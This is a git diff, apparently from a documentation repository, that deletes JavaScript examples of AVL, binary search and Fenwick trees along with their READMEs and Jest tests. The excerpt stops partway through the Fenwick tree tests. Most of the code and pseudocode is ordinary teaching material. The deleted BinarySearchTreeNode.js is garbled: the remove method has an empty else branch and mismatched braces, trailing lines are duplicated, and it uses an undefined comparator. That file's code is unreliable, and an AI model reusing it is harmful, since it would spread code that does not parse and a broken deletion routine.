-        expect(tree.root.height).toBe(3);
-        tree.insert(43);
-        expect(tree.toString()).toBe('10,15,18,30,35,40,42,43,45,47');
-        expect(tree.root.height).toBe(3);
-    });
-    it('should remove values from the tree with right-right rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(10);
-        tree.insert(20);
-        tree.insert(30);
-        tree.insert(40);
-        expect(tree.toString()).toBe('10,20,30,40');
-        tree.remove(10);
-        expect(tree.toString()).toBe('20,30,40');
-        expect(tree.root.value).toBe(30);
-        expect(tree.root.left.value).toBe(20);
-        expect(tree.root.right.value).toBe(40);
-        expect(tree.root.balanceFactor).toBe(0);
-    });
-    it('should remove values from the tree with left-left rotation', () => {
-        const tree = new AvlTree();
-        tree.insert(10);
-        tree.insert(20);
-        tree.insert(30);
-        tree.insert(5);
-        expect(tree.toString()).toBe('5,10,20,30');
-        tree.remove(30);
-        expect(tree.toString()).toBe('5,10,20');
-        expect(tree.root.value).toBe(10);
-        expect(tree.root.left.value).toBe(5);
-        expect(tree.root.right.value).toBe(20);
-        expect(tree.root.balanceFactor).toBe(0);
-    });
-    it('should keep balance after removal', () => {
-        const tree = new AvlTree();
-        tree.insert(1);
-        tree.insert(2);
-        tree.insert(3);
-        tree.insert(4);
-        tree.insert(5);
-        tree.insert(6);
-        tree.insert(7);
-        tree.insert(8);
-        tree.insert(9);
-        expect(tree.toString()).toBe('1,2,3,4,5,6,7,8,9');
-        expect(tree.root.value).toBe(4);
-        expect(tree.root.height).toBe(3);
-        expect(tree.root.balanceFactor).toBe(-1);
-        tree.remove(8);
-        expect(tree.root.value).toBe(4);
-        expect(tree.root.balanceFactor).toBe(-1);
-        tree.remove(9);
-        expect(tree.contains(8)).toBeFalsy();
-        expect(tree.contains(9)).toBeFalsy();
-        expect(tree.toString()).toBe('1,2,3,4,5,6,7');
-        expect(tree.root.value).toBe(4);
-        expect(tree.root.height).toBe(2);
-        expect(tree.root.balanceFactor).toBe(0);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTree.js b/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTree.js
deleted file mode 100644
index 638d67f9a5..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTree.js
+++ /dev/null
@@ -1,38 +0,0 @@
-import BinarySearchTreeNode from './BinarySearchTreeNode';
-export default class BinarySearchTree {
-    /**
-     * @param {function} [nodeValueCompareFunction]
-     */
-    constructor(nodeValueCompareFunction) {
-        this.root = new BinarySearchTreeNode(null, nodeValueCompareFunction);
-        // Steal node comparator from the root.
-        this.nodeComparator = this.root.nodeComparator;
-    }
-    /**
-     * @param {*} value
-     * @return {BinarySearchTreeNode}
-     */
-    insert(value) {
-        return this.root.insert(value);
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    contains(value) {
-        return this.root.contains(value);
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    remove(value) {
-        return this.root.remove(value);
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        return this.root.toString();
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTreeNode.js b/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTreeNode.js
deleted file mode 100644
index 4888f3eee7..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/BinarySearchTreeNode.js
+++ /dev/null
@@ -1,131 +0,0 @@
-import BinaryTreeNode from '../BinaryTreeNode';
-import Comparator from '../../../utils/comparator/Comparator';
-export default class BinarySearchTreeNode extends BinaryTreeNode {
-    /**
-     * @param {*} [value] - node value.
-     * @param {function} [compareFunction] - comparator function for node values.
-     */
-    constructor(value = null, compareFunction = undefined) {
-        super(value);
-        // This comparator is used to compare node values with each other.
-        this.compareFunction = compareFunction;
-        this.nodeValueComparator = new Comparator(compareFunction);
-    }
-    /**
-     * @param {*} value
-     * @return {BinarySearchTreeNode}
-     */
-    insert(value) {
-        if (this.nodeValueComparator.equal(this.value, null)) {
-            this.value = value;
-            return this;
-        }
-        if (this.nodeValueComparator.lessThan(value, this.value)) {
-            // Insert to the left.
-            if (this.left) {
-                return this.left.insert(value);
-            }
-            const newNode = new BinarySearchTreeNode(value, this.compareFunction);
-            this.setLeft(newNode);
-            return newNode;
-        }
-        if (this.nodeValueComparator.greaterThan(value, this.value)) {
-            // Insert to the right.
-            if (this.right) {
-                return this.right.insert(value);
-            }
-            const newNode = new BinarySearchTreeNode(value, this.compareFunction);
-            this.setRight(newNode);
-            return newNode;
-        }
-        return this;
-    }
-    /**
-     * @param {*} value
-     * @return {BinarySearchTreeNode}
-     */
-    find(value) {
-        // Check the root.
-        if (this.nodeValueComparator.equal(this.value, value)) {
-            return this;
-        }
-        if (this.nodeValueComparator.lessThan(value, this.value) && this.left) {
-            // Check left nodes.
-            return this.left.find(value);
-        }
-        if (this.nodeValueComparator.greaterThan(value, this.value) && this.right) {
-            // Check right nodes.
-            return this.right.find(value);
-        }
-        return null;
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    contains(value) {
-        return !!this.find(value);
-    }
-    /**
-     * @param {*} value
-     * @return {boolean}
-     */
-    remove(value) {
-        const nodeToRemove = this.find(value);
-        if (!nodeToRemove) {
-            throw new Error('Item not found in the tree');
-        }
-        const {
-            parent
-        } = nodeToRemove;
-        if (!nodeToRemove.left && !nodeToRemove.right) {
-            // Node is a leaf and thus has no children.
-            if (parent) {
-                // Node has a parent. Just remove the pointer to this node from the parent.
-                parent.removeChild(nodeToRemove);
-            } else {
-                // Node has no parent. Just erase current node value.
-                nodeToRemove.setValue(undefined);
-            }
-        } else if (nodeToRemove.left && nodeToRemove.right) {
-            // Node has two children.
-            // Find the next biggest value (minimum value in the right branch)
-            // and replace current value node with that next biggest value.
-            const nextBiggerNode = nodeToRemove.right.findMin();
-            if (!this.nodeComparator.equal(nextBiggerNode, nodeToRemove.right)) {
-                this.remove(nextBiggerNode.value);
-                nodeToRemove.setValue(nextBiggerNode.value);
-            } else {
-                // In case if next right value is the next bigger one and it doesn't have left child
-                // then just replace node that is going to be deleted with the right node.
-                nodeToRemove.setValue(nodeToRemove.right.value);
-                nodeToRemove.setRight(nodeToRemove.right.right);
-            }
-        } else {
-            // Node has only one child.
-            // Make this child to be a direct child of current node's parent.
-            /** @var BinarySearchTreeNode */
-            const childNode = nodeToRemove.left || nodeToRemove.right;
-            if (parent) {
-                parent.replaceChild(nodeToRemove, childNode);
-            } else {}
-            BinaryTreeNode.copyNode(childNode, nodeToRemove);
-        }
-    }
-    // Clear the parent of removed node.
-    nodeToRemove.parent = null;
-    return true;
-}
-/**
- * @return {BinarySearchTreeNode}
- */
-findMin() {
-    if (!this.left) {
-        return this;
-    }
-    return this.left.findMin();
-}
-}
-return this.left.findMin();
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/README.md b/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/README.md
deleted file mode 100644
index 468b6f6d0b..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/README.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# Binary Search Tree
-
-In computer science, **binary search trees** (BST), sometimes called
-ordered or sorted binary trees, are a particular type of container:
-data structures that store "items" (such as numbers, names etc.)
-in memory. They allow fast lookup, addition and removal of
-items, and can be used to implement either dynamic sets of
-items, or lookup tables that allow finding an item by its key
-(e.g., finding the phone number of a person by name).
-
-Binary search trees keep their keys in sorted order, so that lookup
-and other operations can use the principle of binary search:
-when looking for a key in a tree (or a place to insert a new key),
-they traverse the tree from root to leaf, making comparisons to
-keys stored in the nodes of the tree and deciding, on the basis
-of the comparison, to continue searching in the left or right
-subtrees. On average, this means that each comparison allows
-the operations to skip about half of the tree, so that each
-lookup, insertion or deletion takes time proportional to the
-logarithm of the number of items stored in the tree. This is
-much better than the linear time required to find items by key
-in an (unsorted) array, but slower than the corresponding
-operations on hash tables.
-
-A binary search tree of size 9 and depth 3, with 8 at the root.
-The leaves are not drawn.
-
-![Binary Search Tree](https://upload.wikimedia.org/wikipedia/commons/d/da/Binary_search_tree.svg)
-
-## Pseudocode for Basic Operations
-
-### Insertion
-
-```text
-insert(value)
-  Pre: value has passed custom type checks for type T
-  Post: value has been placed in the correct location in the tree
-  if root = ø
-    root ← node(value)
-  else
-    insertNode(root, value)
-  end if
-end insert
-```
-
-```text
-insertNode(current, value)
-  Pre: current is the node to start from
-  Post: value has been placed in the correct location in the tree
-  if value < current.value
-    if current.left = ø
-      current.left ← node(value)
-    else
-      InsertNode(current.left, value)
-    end if
-  else
-    if current.right = ø
-      current.right ← node(value)
-    else
-      InsertNode(current.right, value)
-    end if
-  end if
-end insertNode
-```
-
-### Searching
-
-```text
-contains(root, value)
-  Pre: root is the root node of the tree, value is what we would like to locate
-  Post: value is either located or not
-  if root = ø
-    return false
-  end if
-  if root.value = value
-    return true
-  else if value < root.value
-    return contains(root.left, value)
-  else
-    return contains(root.right, value)
-  end if
-end contains
-```
-
-### Deletion
-
-```text
-remove(value)
-  Pre: value is the value of the node to remove, root is the node of the BST
-      count is the number of items in the BST
-  Post: node with value is removed if found in which case yields true, otherwise false
-  nodeToRemove ← findNode(value)
-  if nodeToRemove = ø
-    return false
-  end if
-  parent ← findParent(value)
-  if count = 1
-    root ← ø
-  else if nodeToRemove.left = ø and nodeToRemove.right = ø
-    if nodeToRemove.value < parent.value
-      parent.left ←  nodeToRemove.right
-    else
-      parent.right ← nodeToRemove.right
-    end if
-  else if nodeToRemove.left != ø and nodeToRemove.right != ø
-    next ← nodeToRemove.right
-    while next.left != ø
-      next ← next.left
-    end while
-    if next != nodeToRemove.right
-      remove(next.value)
-      nodeToRemove.value ← next.value
-    else
-      nodeToRemove.value ← next.value
-      nodeToRemove.right ← nodeToRemove.right.right
-    end if
-  else
-    if nodeToRemove.left = ø
-      next ← nodeToRemove.right
-    else
-      next ← nodeToRemove.left
-    end if
-    if root = nodeToRemove
-      root = next
-    else if parent.left = nodeToRemove
-      parent.left = next
-    else if parent.right = nodeToRemove
-      parent.right = next
-    end if
-  end if
-  count ← count - 1
-  return true
-end remove
-```
-
-### Find Parent of Node
-
-```text
-findParent(value, root)
-  Pre: value is the value of the node we want to find the parent of
-       root is the root node of the BST and is != ø
-  Post: a reference to the prent node of value if found; otherwise ø
-  if value = root.value
-    return ø
-  end if
-  if value < root.value
-    if root.left = ø
-      return ø
-    else if root.left.value = value
-      return root
-    else
-      return findParent(value, root.left)
-    end if
-  else
-    if root.right = ø
-      return ø
-    else if root.right.value = value
-      return root
-    else
-      return findParent(value, root.right)
-    end if
-  end if
-end findParent
-```
-
-### Find Node
-
-```text
-findNode(root, value)
-  Pre: value is the value of the node we want to find the parent of
-       root is the root node of the BST
-  Post: a reference to the node of value if found; otherwise ø
-  if root = ø
-    return ø
-  end if
-  if root.value = value
-    return root
-  else if value < root.value
-    return findNode(root.left, value)
-  else
-    return findNode(root.right, value)
-  end if
-end findNode
-```
-
-### Find Minimum
-
-```text
-findMin(root)
-  Pre: root is the root node of the BST
-    root = ø
-  Post: the smallest value in the BST is located
-  if root.left = ø
-    return root.value
-  end if
-  findMin(root.left)
-end findMin
-```
-
-### Find Maximum
-
-```text
-findMax(root)
-  Pre: root is the root node of the BST
-    root = ø
-  Post: the largest value in the BST is located
-  if root.right = ø
-    return root.value
-  end if
-  findMax(root.right)
-end findMax
-```
-
-### Traversal
-
-#### InOrder Traversal
-
-```text
-inorder(root)
-  Pre: root is the root node of the BST
-  Post: the nodes in the BST have been visited in inorder
-  if root != ø
-    inorder(root.left)
-    yield root.value
-    inorder(root.right)
-  end if
-end inorder
-```
-
-#### PreOrder Traversal
-
-```text
-preorder(root)
-  Pre: root is the root node of the BST
-  Post: the nodes in the BST have been visited in preorder
-  if root != ø
-    yield root.value
-    preorder(root.left)
-    preorder(root.right)
-  end if
-end preorder
-```
-
-#### PostOrder Traversal
-
-```text
-postorder(root)
-  Pre: root is the root node of the BST
-  Post: the nodes in the BST have been visited in postorder
-  if root != ø
-    postorder(root.left)
-    postorder(root.right)
-    yield root.value
-  end if
-end postorder
-```
-
-## Complexities
-
-### Time Complexity
-
-|  Access   |  Search   | Insertion | Deletion  |
-| :-------: | :-------: | :-------: | :-------: |
-| O(log(n)) | O(log(n)) | O(log(n)) | O(log(n)) |
-
-### Space Complexity
-
-O(n)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Binary_search_tree)
--   [Inserting to BST on YouTube](https://www.youtube.com/watch?v=wcIRPqTR3Kc&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=9&t=0s)
--   [BST Interactive Visualisations](https://www.cs.usfca.edu/~galles/visualization/BST.html)
diff --git a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTree.test.js b/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTree.test.js
deleted file mode 100644
index 7675299ab5..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTree.test.js
+++ /dev/null
@@ -1,89 +0,0 @@
-import BinarySearchTree from '../BinarySearchTree';
-describe('BinarySearchTree', () => {
-    it('should create binary search tree', () => {
-        const bst = new BinarySearchTree();
-        expect(bst).toBeDefined();
-        expect(bst.root).toBeDefined();
-        expect(bst.root.value).toBeNull();
-        expect(bst.root.left).toBeNull();
-        expect(bst.root.right).toBeNull();
-    });
-    it('should insert values', () => {
-        const bst = new BinarySearchTree();
-        const insertedNode1 = bst.insert(10);
-        const insertedNode2 = bst.insert(20);
-        bst.insert(5);
-        expect(bst.toString()).toBe('5,10,20');
-        expect(insertedNode1.value).toBe(10);
-        expect(insertedNode2.value).toBe(20);
-    });
-    it('should check if value exists', () => {
-        const bst = new BinarySearchTree();
-        bst.insert(10);
-        bst.insert(20);
-        bst.insert(5);
-        expect(bst.contains(20)).toBe(true);
-        expect(bst.contains(40)).toBe(false);
-    });
-    it('should remove nodes', () => {
-        const bst = new BinarySearchTree();
-        bst.insert(10);
-        bst.insert(20);
-        bst.insert(5);
-        expect(bst.toString()).toBe('5,10,20');
-        const removed1 = bst.remove(5);
-        expect(bst.toString()).toBe('10,20');
-        expect(removed1).toBe(true);
-        const removed2 = bst.remove(20);
-        expect(bst.toString()).toBe('10');
-        expect(removed2).toBe(true);
-    });
-    it('should insert object values', () => {
-        const nodeValueCompareFunction = (a, b) => {
-            const normalizedA = a || {
-                value: null
-            };
-            const normalizedB = b || {
-                value: null
-            };
-            if (normalizedA.value === normalizedB.value) {
-                return 0;
-            }
-            return normalizedA.value < normalizedB.value ? -1 : 1;
-        };
-        const obj1 = {
-            key: 'obj1',
-            value: 1,
-            toString: () => 'obj1'
-        };
-        const obj2 = {
-            key: 'obj2',
-            value: 2,
-            toString: () => 'obj2'
-        };
-        const obj3 = {
-            key: 'obj3',
-            value: 3,
-            toString: () => 'obj3'
-        };
-        const bst = new BinarySearchTree(nodeValueCompareFunction);
-        bst.insert(obj2);
-        bst.insert(obj3);
-        bst.insert(obj1);
-        expect(bst.toString()).toBe('obj1,obj2,obj3');
-    });
-    it('should be traversed to sorted array', () => {
-        const bst = new BinarySearchTree();
-        bst.insert(10);
-        bst.insert(-10);
-        bst.insert(20);
-        bst.insert(-20);
-        bst.insert(25);
-        bst.insert(6);
-        expect(bst.toString()).toBe('-20,-10,6,10,20,25');
-        expect(bst.root.height).toBe(2);
-        bst.insert(4);
-        expect(bst.toString()).toBe('-20,-10,4,6,10,20,25');
-        expect(bst.root.height).toBe(3);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTreeNode.test.js b/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTreeNode.test.js
deleted file mode 100644
index f64d43a9d2..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/binary-search-tree/test/BinarySearchTreeNode.test.js
+++ /dev/null
@@ -1,204 +0,0 @@
-import BinarySearchTreeNode from '../BinarySearchTreeNode';
-describe('BinarySearchTreeNode', () => {
-    it('should create binary search tree', () => {
-        const bstNode = new BinarySearchTreeNode(2);
-        expect(bstNode.value).toBe(2);
-        expect(bstNode.left).toBeNull();
-        expect(bstNode.right).toBeNull();
-    });
-    it('should insert in itself if it is empty', () => {
-        const bstNode = new BinarySearchTreeNode();
-        bstNode.insert(1);
-        expect(bstNode.value).toBe(1);
-        expect(bstNode.left).toBeNull();
-        expect(bstNode.right).toBeNull();
-    });
-    it('should insert nodes in correct order', () => {
-        const bstNode = new BinarySearchTreeNode(2);
-        const insertedNode1 = bstNode.insert(1);
-        expect(insertedNode1.value).toBe(1);
-        expect(bstNode.toString()).toBe('1,2');
-        expect(bstNode.contains(1)).toBe(true);
-        expect(bstNode.contains(3)).toBe(false);
-        const insertedNode2 = bstNode.insert(3);
-        expect(insertedNode2.value).toBe(3);
-        expect(bstNode.toString()).toBe('1,2,3');
-        expect(bstNode.contains(3)).toBe(true);
-        expect(bstNode.contains(4)).toBe(false);
-        bstNode.insert(7);
-        expect(bstNode.toString()).toBe('1,2,3,7');
-        expect(bstNode.contains(7)).toBe(true);
-        expect(bstNode.contains(8)).toBe(false);
-        bstNode.insert(4);
-        expect(bstNode.toString()).toBe('1,2,3,4,7');
-        expect(bstNode.contains(4)).toBe(true);
-        expect(bstNode.contains(8)).toBe(false);
-        bstNode.insert(6);
-        expect(bstNode.toString()).toBe('1,2,3,4,6,7');
-        expect(bstNode.contains(6)).toBe(true);
-        expect(bstNode.contains(8)).toBe(false);
-    });
-    it('should not insert duplicates', () => {
-        const bstNode = new BinarySearchTreeNode(2);
-        bstNode.insert(1);
-        expect(bstNode.toString()).toBe('1,2');
-        expect(bstNode.contains(1)).toBe(true);
-        expect(bstNode.contains(3)).toBe(false);
-        bstNode.insert(1);
-        expect(bstNode.toString()).toBe('1,2');
-        expect(bstNode.contains(1)).toBe(true);
-        expect(bstNode.contains(3)).toBe(false);
-    });
-    it('should find min node', () => {
-        const node = new BinarySearchTreeNode(10);
-        node.insert(20);
-        node.insert(30);
-        node.insert(5);
-        node.insert(40);
-        node.insert(1);
-        expect(node.findMin()).not.toBeNull();
-        expect(node.findMin().value).toBe(1);
-    });
-    it('should be possible to attach meta information to binary search tree nodes', () => {
-        const node = new BinarySearchTreeNode(10);
-        node.insert(20);
-        const node1 = node.insert(30);
-        node.insert(5);
-        node.insert(40);
-        const node2 = node.insert(1);
-        node.meta.set('color', 'red');
-        node1.meta.set('color', 'black');
-        node2.meta.set('color', 'white');
-        expect(node.meta.get('color')).toBe('red');
-        expect(node.findMin()).not.toBeNull();
-        expect(node.findMin().value).toBe(1);
-        expect(node.findMin().meta.get('color')).toBe('white');
-        expect(node.find(30).meta.get('color')).toBe('black');
-    });
-    it('should find node', () => {
-        const node = new BinarySearchTreeNode(10);
-        node.insert(20);
-        node.insert(30);
-        node.insert(5);
-        node.insert(40);
-        node.insert(1);
-        expect(node.find(6)).toBeNull();
-        expect(node.find(5)).not.toBeNull();
-        expect(node.find(5).value).toBe(5);
-    });
-    it('should remove leaf nodes', () => {
-        const bstRootNode = new BinarySearchTreeNode();
-        bstRootNode.insert(10);
-        bstRootNode.insert(20);
-        bstRootNode.insert(5);
-        expect(bstRootNode.toString()).toBe('5,10,20');
-        const removed1 = bstRootNode.remove(5);
-        expect(bstRootNode.toString()).toBe('10,20');
-        expect(removed1).toBe(true);
-        const removed2 = bstRootNode.remove(20);
-        expect(bstRootNode.toString()).toBe('10');
-        expect(removed2).toBe(true);
-    });
-    it('should remove nodes with one child', () => {
-        const bstRootNode = new BinarySearchTreeNode();
-        bstRootNode.insert(10);
-        bstRootNode.insert(20);
-        bstRootNode.insert(5);
-        bstRootNode.insert(30);
-        expect(bstRootNode.toString()).toBe('5,10,20,30');
-        bstRootNode.remove(20);
-        expect(bstRootNode.toString()).toBe('5,10,30');
-        bstRootNode.insert(1);
-        expect(bstRootNode.toString()).toBe('1,5,10,30');
-        bstRootNode.remove(5);
-        expect(bstRootNode.toString()).toBe('1,10,30');
-    });
-    it('should remove nodes with two children', () => {
-        const bstRootNode = new BinarySearchTreeNode();
-        bstRootNode.insert(10);
-        bstRootNode.insert(20);
-        bstRootNode.insert(5);
-        bstRootNode.insert(30);
-        bstRootNode.insert(15);
-        bstRootNode.insert(25);
-        expect(bstRootNode.toString()).toBe('5,10,15,20,25,30');
-        expect(bstRootNode.find(20).left.value).toBe(15);
-        expect(bstRootNode.find(20).right.value).toBe(30);
-        bstRootNode.remove(20);
-        expect(bstRootNode.toString()).toBe('5,10,15,25,30');
-        bstRootNode.remove(15);
-        expect(bstRootNode.toString()).toBe('5,10,25,30');
-        bstRootNode.remove(10);
-        expect(bstRootNode.toString()).toBe('5,25,30');
-        expect(bstRootNode.value).toBe(25);
-        bstRootNode.remove(25);
-        expect(bstRootNode.toString()).toBe('5,30');
-        bstRootNode.remove(5);
-        expect(bstRootNode.toString()).toBe('30');
-    });
-    it('should remove node with no parent', () => {
-        const bstRootNode = new BinarySearchTreeNode();
-        expect(bstRootNode.toString()).toBe('');
-        bstRootNode.insert(1);
-        bstRootNode.insert(2);
-        expect(bstRootNode.toString()).toBe('1,2');
-        bstRootNode.remove(1);
-        expect(bstRootNode.toString()).toBe('2');
-        bstRootNode.remove(2);
-        expect(bstRootNode.toString()).toBe('');
-    });
-    it('should throw error when trying to remove not existing node', () => {
-        const bstRootNode = new BinarySearchTreeNode();
-        bstRootNode.insert(10);
-        bstRootNode.insert(20);
-        function removeNotExistingElementFromTree() {
-            bstRootNode.remove(30);
-        }
-        expect(removeNotExistingElementFromTree).toThrow();
-    });
-    it('should be possible to use objects as node values', () => {
-        const nodeValueComparatorCallback = (a, b) => {
-            const normalizedA = a || {
-                value: null
-            };
-            const normalizedB = b || {
-                value: null
-            };
-            if (normalizedA.value === normalizedB.value) {
-                return 0;
-            }
-            return normalizedA.value < normalizedB.value ? -1 : 1;
-        };
-        const obj1 = {
-            key: 'obj1',
-            value: 1,
-            toString: () => 'obj1'
-        };
-        const obj2 = {
-            key: 'obj2',
-            value: 2,
-            toString: () => 'obj2'
-        };
-        const obj3 = {
-            key: 'obj3',
-            value: 3,
-            toString: () => 'obj3'
-        };
-        const bstNode = new BinarySearchTreeNode(obj2, nodeValueComparatorCallback);
-        bstNode.insert(obj1);
-        expect(bstNode.toString()).toBe('obj1,obj2');
-        expect(bstNode.contains(obj1)).toBe(true);
-        expect(bstNode.contains(obj3)).toBe(false);
-        bstNode.insert(obj3);
-        expect(bstNode.toString()).toBe('obj1,obj2,obj3');
-        expect(bstNode.contains(obj3)).toBe(true);
-        expect(bstNode.findMin().value).toEqual(obj1);
-    });
-    it('should abandon removed node', () => {
-        const rootNode = new BinarySearchTreeNode('foo');
-        rootNode.insert('bar');
-        const childNode = rootNode.find('bar');
-        rootNode.remove('bar');
-        expect(childNode.parent).toBeNull();
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/FenwickTree.js b/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/FenwickTree.js
deleted file mode 100644
index 3e7330695f..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/FenwickTree.js
+++ /dev/null
@@ -1,61 +0,0 @@
-export default class FenwickTree {
-    /**
-     * Constructor creates empty fenwick tree of size 'arraySize',
-     * however, array size is size+1, because index is 1-based.
-     *
-     * @param  {number} arraySize
-     */
-    constructor(arraySize) {
-        this.arraySize = arraySize;
-        // Fill tree array with zeros.
-        this.treeArray = Array(this.arraySize + 1).fill(0);
-    }
-    /**
-     * Adds value to existing value at position.
-     *
-     * @param  {number} position
-     * @param  {number} value
-     * @return {FenwickTree}
-     */
-    increase(position, value) {
-        if (position < 1 || position > this.arraySize) {
-            throw new Error('Position is out of allowed range');
-        }
-        for (let i = position; i <= this.arraySize; i += i & -i) {
-            this.treeArray[i] += value;
-        }
-        return this;
-    }
-    /**
-     * Query sum from index 1 to position.
-     *
-     * @param  {number} position
-     * @return {number}
-     */
-    query(position) {
-        if (position < 1 || position > this.arraySize) {
-            throw new Error('Position is out of allowed range');
-        }
-        let sum = 0;
-        for (let i = position; i > 0; i -= i & -i) {
-            sum += this.treeArray[i];
-        }
-        return sum;
-    }
-    /**
-     * Query sum from index leftIndex to rightIndex.
-     *
-     * @param  {number} leftIndex
-     * @param  {number} rightIndex
-     * @return {number}
-     */
-    queryRange(leftIndex, rightIndex) {
-        if (leftIndex > rightIndex) {
-            throw new Error('Left index can not be greater than right one');
-        }
-        if (leftIndex === 1) {
-            return this.query(rightIndex);
-        }
-        return this.query(rightIndex) - this.query(leftIndex - 1);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/README.md b/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/README.md
deleted file mode 100644
index 7f6bd29458..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/README.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# Fenwick Tree / Binary Indexed Tree
-
-A **Fenwick tree** or **binary indexed tree** is a data
-structure that can efficiently update elements and
-calculate prefix sums in a table of numbers.
-
-When compared with a flat array of numbers, the Fenwick tree achieves a
-much better balance between two operations: element update and prefix sum
-calculation. In a flat array of `n` numbers, you can either store the elements,
-or the prefix sums. In the first case, computing prefix sums requires linear
-time; in the second case, updating the array elements requires linear time
-(in both cases, the other operation can be performed in constant time).
-Fenwick trees allow both operations to be performed in `O(log n)` time.
-This is achieved by representing the numbers as a tree, where the value of
-each node is the sum of the numbers in that subtree. The tree structure allows
-operations to be performed using only `O(log n)` node accesses.
-
-## Implementation Notes
-
-Binary Indexed Tree is represented as an array. Each node of Binary Indexed Tree
-stores sum of some elements of given array. Size of Binary Indexed Tree is equal
-to `n` where `n` is size of input array. In current implementation we have used
-size as `n+1` for ease of implementation. All the indexes are 1-based.
-
-![Binary Indexed Tree](https://www.geeksforgeeks.org/wp-content/uploads/BITSum.png)
-
-On the picture below you may see animated example of
-creation of binary indexed tree for the
-array `[1, 2, 3, 4, 5]` by inserting one by one.
-
-![Fenwick Tree](https://upload.wikimedia.org/wikipedia/commons/d/dc/BITDemo.gif)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Fenwick_tree)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/binary-indexed-tree-or-fenwick-tree-2/)
--   [YouTube](https://www.youtube.com/watch?v=CWDQJGaN1gY&index=18&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/test/FenwickTree.test.js b/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/test/FenwickTree.test.js
deleted file mode 100644
index c7d6996fa5..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/fenwick-tree/test/FenwickTree.test.js
+++ /dev/null
@@ -1,90 +0,0 @@
-import FenwickTree from '../FenwickTree';
-describe('FenwickTree', () => {
-    it('should create empty fenwick tree of correct size', () => {
-        const tree1 = new FenwickTree(5);
-        expect(tree1.treeArray.length).toBe(5 + 1);
-        for (let i = 0; i < 5; i += 1) {
-            expect(tree1.treeArray[i]).toBe(0);
-        }
-        const tree2 = new FenwickTree(50);
-        expect(tree2.treeArray.length).toBe(50 + 1);
-    });
-    it('should create correct fenwick tree', () => {
-        const inputArray = [3, 2, -1, 6, 5, 4, -3, 3, 7, 2, 3];
-        const tree = new FenwickTree(inputArray.length);
-        expect(tree.treeArray.length).toBe(inputArray.length + 1);
-        inputArray.forEach((value, index) => {
-            tree.increase(index + 1, value);
-        });
-        expect(tree.treeArray).toEqual([0, 3, 5, -1, 10, 5, 9, -3, 19, 7, 9, 3]);
-        expect(tree.query(1)).toBe(3);
-        expect(tree.query(2)).toBe(5);
-        expect(tree.query(3)).toBe(4);
-        expect(tree.query(4)).toBe(10);
-        expect(tree.query(5)).toBe(15);
-        expect(tree.query(6)).toBe(19);
-        expect(tree.query(7)).toBe(16);
-        expect(tree.query(8)).toBe(19);
-        expect(tree.query(9)).toBe(26);
-        expect(tree.query(10)).toBe(28);
-        expect(tree.query(11)).toBe(31);
-        expect(tree.queryRange(1, 1)).toBe(3);
-        expect(tree.queryRange(1, 2)).toBe(5);
-        expect(tree.queryRange(2, 4)).toBe(7);
-        expect(tree.queryRange(6, 9)).toBe(11);
-        tree.increase(3, 1);
-        expect(tree.query(1)).toBe(3);
-        expect(tree.query(2)).toBe(5);
-        expect(tree.query(3)).toBe(5);
-        expect(tree.query(4)).toBe(11);
-        expect(tree.query(5)).toBe(16);
-        expect(tree.query(6)).toBe(20);
-        expect(tree.query(7)).toBe(17);
-        expect(tree.query(8)).toBe(20);
-        expect(tree.query(9)).toBe(27);
-        expect(tree.query(10)).toBe(29);
-        expect(tree.query(11)).toBe(32);
-        expect(tree.queryRange(1, 1)).toBe(3);
-        expect(tree.queryRange(1, 2)).toBe(5);
-        expect(tree.queryRange(2, 4)).toBe(8);
-        expect(tree.queryRange(6, 9)).toBe(11);
-    });
-    it('should correctly execute queries', () => {
-        const tree = new FenwickTree(5);
-        tree.increase(1, 4);
-        tree.increase(3, 7);
-        expect(tree.query(1)).toBe(4);
-        expect(tree.query(3)).toBe(11);
-        expect(tree.query(5)).toBe(11);
-        expect(tree.queryRange(2, 3)).toBe(7);
-        tree.increase(2, 5);
-        expect(tree.query(5)).toBe(16);
-        tree.increase(1, 3);
-        expect(tree.queryRange(1, 1)).toBe(7);
-        expect(tree.query(5)).toBe(19);
-        expect(tree.queryRange(1, 5)).toBe(19);
-    });
-    it('should throw exceptions', () => {
-        const tree = new FenwickTree(5);
